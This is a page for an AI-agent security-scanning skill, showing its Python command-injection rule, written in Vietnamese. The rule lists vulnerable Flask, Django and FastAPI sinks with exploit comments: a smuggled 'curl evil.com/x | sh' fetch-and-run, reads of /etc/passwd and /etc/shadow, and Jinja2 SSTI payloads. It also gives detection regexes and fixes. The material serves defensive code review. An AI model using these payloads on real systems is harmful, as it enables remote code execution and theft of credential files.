Skip to content

tanviet12/vbsec / skills/antigravity/vbs-scan-security

vbs-scan-security

Flagged

Use when scanning code for security vulnerabilities. Use when user says "scan security", "kiểm tra bảo mật", "security audit", "review security", or invokes `/vbs-scan-security`. For large scans (>20 main-language files OR >30 total OR >14 days) processes chunks sequentially. Outputs bilingual reports (vi/en). Optional `--auto-fix` (agentic patch + verify loop) and `--sca` (live CVE lookup via OSV.dev).

FileKindSize
SKILL.mdskill md28.2 KB
VERSIONother6 B
references/chunking-strategy.mdmarkdown7.2 KB
references/data-flow-classification.mdmarkdown9.5 KB
references/dependency-scan.mdmarkdown9.7 KB
references/i18n/en.mdmarkdown8.7 KB
references/i18n/vi.mdmarkdown9.4 KB
references/language-detection.mdmarkdown7.5 KB
references/load-rules.shexecutablescript5.2 KB
references/output-format.mdmarkdown26.1 KB
references/project-context.mdmarkdown2.7 KB
references/sub-agent-prompts.mdmarkdown16.5 KB
references/validate-report.pyexecutablescript8.7 KB
rules/generic/01-hardcoded-secret.mdmarkdown5.4 KB
rules/generic/02-sql-injection.mdmarkdown5.2 KB
rules/generic/03-xss.mdmarkdown4.9 KB
rules/generic/04-idor.mdmarkdown5.7 KB
rules/generic/05-slopsquatting.mdmarkdown6.1 KB
rules/generic/06-brute-force.mdmarkdown6.9 KB
rules/generic/07-mass-assignment.mdmarkdown6.3 KB
rules/generic/08-insecure-deserialization.mdmarkdown6.3 KB
rules/generic/09-ssrf.mdmarkdown6.7 KB
rules/generic/10-path-traversal.mdmarkdown6.3 KB
rules/generic/11-csrf.mdmarkdown7.8 KB
rules/generic/12-broken-access-control.mdmarkdown7.9 KB
rules/generic/13-weak-password-hashing.mdmarkdown5.2 KB
rules/generic/14-jwt-none-algorithm.mdmarkdown5.3 KB
rules/generic/15-cors-misconfig.mdmarkdown5.3 KB
rules/generic/16-unrestricted-file-upload.mdmarkdown5.9 KB
rules/generic/17-verbose-error-debug-mode.mdmarkdown5.8 KB
rules/generic/18-missing-rate-limit.mdmarkdown10.7 KB
rules/generic/19-race-condition.mdmarkdown11.5 KB
rules/generic/20-outdated-dependency.mdmarkdown7.2 KB
rules/generic/21-command-injection.mdmarkdown6.6 KB
rules/generic/22-vulnerable-dependency.mdmarkdown5.3 KB
rules/generic/23-llm-prompt-injection.mdmarkdown9.7 KB
rules/generic/24-excessive-agency.mdmarkdown10.1 KB
rules/generic/25-tenant-isolation.mdmarkdown10.1 KB
rules/generic/26-authz-path-parity.mdmarkdown10.9 KB
rules/generic/27-excessive-data-exposure.mdmarkdown10.4 KB
rules/generic/28-business-state-integrity.mdmarkdown9.5 KB
rules/generic/29-sensitive-data-in-logs.mdmarkdown9.1 KB
rules/generic/30-auth-session-lifecycle.mdmarkdown9.4 KB
rules/generic/31-resource-exhaustion.mdmarkdown9.0 KB
rules/languages/README.mdmarkdown8.5 KB
rules/languages/dart/01-hardcoded-secret.mdmarkdown7.9 KB
rules/languages/dart/03-xss.mdmarkdown5.2 KB
rules/languages/dart/05-slopsquatting.mdmarkdown4.6 KB
rules/languages/dart/10-path-traversal.mdmarkdown6.3 KB
rules/languages/dart/12-broken-access-control.mdmarkdown8.3 KB
rules/languages/dart/17-verbose-error-debug-mode.mdmarkdown6.7 KB
rules/languages/dart/20-outdated-dependency.mdmarkdown4.7 KB
rules/languages/dart/README.mdmarkdown3.7 KB
rules/languages/dotnet/02-sql-injection.mdmarkdown5.7 KB
rules/languages/dotnet/07-mass-assignment.mdmarkdown6.0 KB
rules/languages/dotnet/08-insecure-deserialization.mdmarkdown5.7 KB
rules/languages/dotnet/17-verbose-error-debug-mode.mdmarkdown5.0 KB
rules/languages/dotnet/21-command-injection.mdmarkdown5.3 KB
rules/languages/dotnet/README.mdmarkdown1.7 KB
rules/languages/go/02-sql-injection.mdmarkdown5.2 KB
rules/languages/go/08-insecure-deserialization.mdmarkdown5.0 KB
rules/languages/go/09-ssrf.mdmarkdown5.8 KB
rules/languages/go/17-verbose-error-debug-mode.mdmarkdown6.1 KB
rules/languages/go/21-command-injection.mdmarkdown5.2 KB
rules/languages/go/README.mdmarkdown2.7 KB
rules/languages/php/02-sql-injection.mdmarkdown5.8 KB
rules/languages/php/08-insecure-deserialization.mdmarkdown6.2 KB
rules/languages/php/11-csrf.mdmarkdown6.2 KB
rules/languages/php/17-verbose-error-debug-mode.mdmarkdown6.5 KB
rules/languages/php/21-command-injection.mdmarkdown6.7 KB
rules/languages/php/README.mdmarkdown2.9 KB
rules/languages/python/02-sql-injection.mdmarkdown7.2 KB
rules/languages/python/07-mass-assignment.mdmarkdown7.3 KB
rules/languages/python/08-insecure-deserialization.mdmarkdown7.3 KB
rules/languages/python/09-ssrf.mdmarkdown7.5 KB
rules/languages/python/11-csrf.mdmarkdown7.6 KB
rules/languages/python/14-jwt-none-algorithm.mdmarkdown7.5 KB
rules/languages/python/15-cors-misconfig.mdmarkdown8.0 KB
rules/languages/python/17-verbose-error-debug-mode.mdmarkdown8.4 KB
rules/languages/python/21-command-injection.mdmarkdown8.5 KB
rules/languages/python/README.mdmarkdown3.4 KB
rules/languages/typescript/02-sql-injection.mdmarkdown7.5 KB
rules/languages/typescript/03-xss.mdmarkdown6.7 KB
rules/languages/typescript/07-mass-assignment.mdmarkdown7.4 KB
rules/languages/typescript/08-insecure-deserialization.mdmarkdown7.0 KB
rules/languages/typescript/09-ssrf.mdmarkdown7.5 KB
rules/languages/typescript/11-csrf.mdmarkdown7.3 KB
rules/languages/typescript/14-jwt-none-algorithm.mdmarkdown7.0 KB
rules/languages/typescript/15-cors-misconfig.mdmarkdown7.2 KB
rules/languages/typescript/17-verbose-error-debug-mode.mdmarkdown7.2 KB
rules/languages/typescript/21-command-injection.mdmarkdown6.7 KB
rules/languages/typescript/README.mdmarkdown3.3 KB
workflows/auto-fix.mdmarkdown18.9 KB
workflows/large-review-sequential.mdmarkdown14.8 KB
workflows/small-review.mdmarkdown10.1 KB

rules/languages/python/21-command-injection.md

View on GitHub
---
id: COMMAND-INJECTION
severity_max: CRITICAL
applies_to: python
---

# Command Injection — Python Specialization

> Override cho rule chung `rules/generic/21-command-injection.md`. Áp dụng khi `primary_language: python`.

## Intent (Python-specific)

Python có nhiều API "thuận tiện" cho shell mà ai cũng học từ tutorial: `os.system`, `os.popen`, `subprocess.run(..., shell=True)`. Vibe code rất hay viết:
```python
os.system(f"ping {host}")  # CRITICAL
```
Cộng với `eval`/`exec` cho user input (server-side RCE), và **Jinja2 template injection** — biến tướng đặc biệt nguy: `Template(user_input).render()` cho phép escape ra context globals (`{{ config.__class__.__init__.__globals__['os'].system('id') }}`) → RCE. Django template auto-escape mặc định an toàn hơn, nhưng `Template(user_input)` direct API vẫn có cùng vấn đề.

## Khi nào CRITICAL

- `subprocess.run/call/check_output/Popen` với `shell=True` và input từ L1
- `os.system(cmd)` với `cmd` chứa biến từ L1 (luôn shell)
- `os.popen(cmd)` (luôn shell)
- f-string / concat trong cmd: `f"ping {host}"`, `"ping " + host`
- `eval(user_input)`, `exec(user_input)`, `compile(user_input, ...)`
- `__import__(user_module)` với module name từ L1
- Jinja2 `Template(user_input).render(...)` → SSTI RCE
- Django `Template(user_input)` (class direct, không phải qua loader) → SSTI
- `os.execv`, `os.execvp` với args từ L1 chưa validate
- `subprocess` với `executable=` từ L1
- `shutil.copy(user_path, target)` — không command injection trực tiếp nhưng path traversal (cross-ref `10-path-traversal`)

## Khi nào HIGH (giảm cấp)

- `subprocess.run([list], shell=False)` — args là list, không shell (SAFE thường)
- Input đã qua whitelist regex `^[a-zA-Z0-9_-]+$`
- Input đã `shlex.quote()` — bảo vệ một phần nhưng vẫn nên dùng list form
- `eval` với `ast.literal_eval` (an toàn — chỉ literal)
- Template engine với autoescape on + không dùng `Template()` class trực tiếp

## Cách reasoning

1. **Grep** sink:
   - `subprocess\.(run|call|check_output|check_call|Popen)`, đặc biệt `shell\s*=\s*True`
   - `os\.system`, `os\.popen`, `os\.execv`, `os\.execvp`
   - `\beval\(`, `\bexec\(`, `compile\(`, `__import__\(`
   - `Template\(` (Jinja2/Django)
2. **Read** function, trace `cmd`/`args` từ:
   - Request: `request.args/form/json/files/POST/GET`
   - File upload filename
   - DB record có gốc L1
3. **Check shell**:
   - `shell=True` → luôn nguy nếu có L1
   - List form + `shell=False` → check args có metachar không (usually safe)
4. **Verify**:
   - Có `shlex.quote(s)` không? (giảm rủi ro nhưng không thay thế list form)
   - Có whitelist input không?
   - Template `autoescape=True` không?

## Search patterns

```
# subprocess shell=True
subprocess\.(run|call|check_output|check_call|Popen)\s*\([^)]*shell\s*=\s*True
subprocess\.(run|call|Popen)\s*\(\s*f["']
subprocess\.(run|call|Popen)\s*\(\s*["'][^"']*["']\s*\+

# os.system / os.popen — luôn shell
os\.system\s*\(
os\.popen\s*\(
commands\.(getoutput|getstatusoutput)  # Python 2 nhưng đôi khi còn

# os.exec*
os\.execv?p?e?\s*\(

# eval/exec
\beval\s*\(
\bexec\s*\(
\bcompile\s*\([^)]+\)\s*\)?[^;]*\bexec
__import__\s*\(

# Jinja2 / Django Template từ user string
jinja2\.Template\s*\(\s*(request\.|f["']|.*\+)
Template\s*\(\s*(request\.|f["']|.*\+)
\.from_string\s*\(\s*(request\.|f["'])
Environment\([^)]*\)\.from_string\s*\(

# Pickle / yaml load — RCE family (cross-ref 08)
pickle\.loads\s*\(
yaml\.load\s*\((?![^)]*Loader\s*=\s*(yaml\.)?SafeLoader)
```

## Examples

### CRITICAL — flag

```python
# Flask + subprocess shell=True với f-string
@app.post('/ping')
def ping():
    host = request.json['host']  # L1
    result = subprocess.run(
        f"ping -c 1 {host}",
        shell=True, capture_output=True, text=True
    )
    return result.stdout
# Exploit: host = "8.8.8.8; cat /etc/passwd"
```

```python
# Django + os.system
def convert_image(request):
    src = request.POST['src']  # L1
    os.system(f"convert {src} /tmp/out.png")  # CRITICAL
    # Exploit: src = "x; curl evil.com/x | sh"
```

```python
# FastAPI eval
@app.post('/calc')
async def calc(expr: str):
    return {"result": eval(expr)}  # L1 → RCE
# Exploit: expr = "__import__('os').system('id')"
```

```python
# Jinja2 SSTI
from jinja2 import Template

@app.post('/render')
def render():
    tpl = request.form['template']  # L1
    return Template(tpl).render(name='User')
# Exploit: tpl = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
```

```python
# Flask render_template_string với user input
from flask import render_template_string

@app.route('/hello')
def hello():
    name = request.args.get('name', 'world')  # L1
    return render_template_string(f"Hello {name}")  # SSTI
# Exploit: ?name={{7*7}} → "Hello 49" → escalate to RCE
```

```python
# subprocess Popen với shell=True
@app.post('/log')
def fetch_log():
    fname = request.json['file']  # L1
    p = subprocess.Popen(
        "tail -n 100 /var/log/" + fname,
        shell=True, stdout=subprocess.PIPE
    )
    return p.stdout.read()
# Exploit: file = "app.log; cat /etc/shadow"
```

```python
# __import__ từ user
@app.post('/load-plugin')
def load_plugin():
    name = request.json['name']  # L1
    mod = __import__(name)  # CRITICAL — load module bất kỳ
    return mod.run()
```

### NOT critical — không flag

```python
# subprocess list form, shell=False
result = subprocess.run(
    ['ping', '-c', '1', host],
    capture_output=True, text=True, timeout=5
)
# Argument tách rời, shell không parse → an toàn
# Vẫn nên validate host format
```

```python
# Whitelist trước
import re
if not re.match(r'^[a-zA-Z0-9.-]+$', host):
    abort(400)
subprocess.run(['ping', '-c', '1', host], check=True)
```

```python
# ast.literal_eval thay eval
import ast
result = ast.literal_eval(request.json['expr'])  # chỉ literal Python
```

```python
# Jinja2 với autoescape + template file (không Template class)
env = Environment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html'])
)
tpl = env.get_template('hello.html')  # file cố định, không nhận user template
return tpl.render(name=request.args['name'])  # name escape an toàn
```

```python
# shlex.quote — partial mitigation (vẫn nên dùng list form)
import shlex
host_safe = shlex.quote(host)
subprocess.run(f"ping -c 1 {host_safe}", shell=True)  # hoạt động nhưng kém hơn list
```

## Fix recommendation

1. **Luôn dùng list form, `shell=False` mặc định**:
   ```python
   # BAD
   subprocess.run(f"ls {path}", shell=True)
   # GOOD
   subprocess.run(['ls', path])
   ```
2. **Tránh `os.system`, `os.popen` hoàn toàn** — chuyển sang `subprocess.run`.
3. **Không bao giờ `eval`/`exec` với input user**:
   ```python
   # Cần parse expression toán?
   import ast
   ast.literal_eval(s)  # literal
   # Hoặc dùng asteval, simpleeval (sandbox)
   from simpleeval import simple_eval
   simple_eval(expr)  # whitelist operator
   ```
4. **Whitelist** input format trước khi truyền vào shell:
   ```python
   import re
   if not re.fullmatch(r'[a-zA-Z0-9._-]+', name):
       raise ValueError("Invalid name")
   ```
5. **Jinja2** — KHÔNG `Template(user_input)`. Dùng template file cố định:
   ```python
   env = Environment(loader=FileSystemLoader('templates'),
                     autoescape=True)
   env.get_template('user.html').render(data=data)
   # Render content bằng auto-escape, không cho user write template
   ```
6. **Sandbox subprocess**:
   - `subprocess.run(..., timeout=5)` chống infinite loop
   - `cwd=`, `env=` clean để không kế thừa secrets
   - User-level container/jail nếu chạy untrusted code
7. **`shlex.quote`** chỉ dùng làm defense-in-depth. Vẫn ưu tiên list form.
8. **Static analysis**: chạy `bandit` để bắt `B602` (`subprocess shell=True`), `B605` (`os.system`), `B307` (`eval`), `B701` (`Jinja2 autoescape off`).

## Cross-references

- Python `08-insecure-deserialization`: `pickle.loads`, `yaml.load` cũng là RCE family
- Python `02-sql-injection`: cùng pattern f-string vào sink → cùng họ injection
- Generic `10-path-traversal`: `subprocess.run(['cat', user_path])` an toàn cmd nhưng path vẫn nguy
- Generic `16-unrestricted-file-upload`: file upload → server-side processing với subprocess thường là điểm exploit
- Python `17-verbose-error-debug-mode`: stack trace leak có thể tiết lộ shell command structure giúp attacker
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 470kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 470kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 470kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall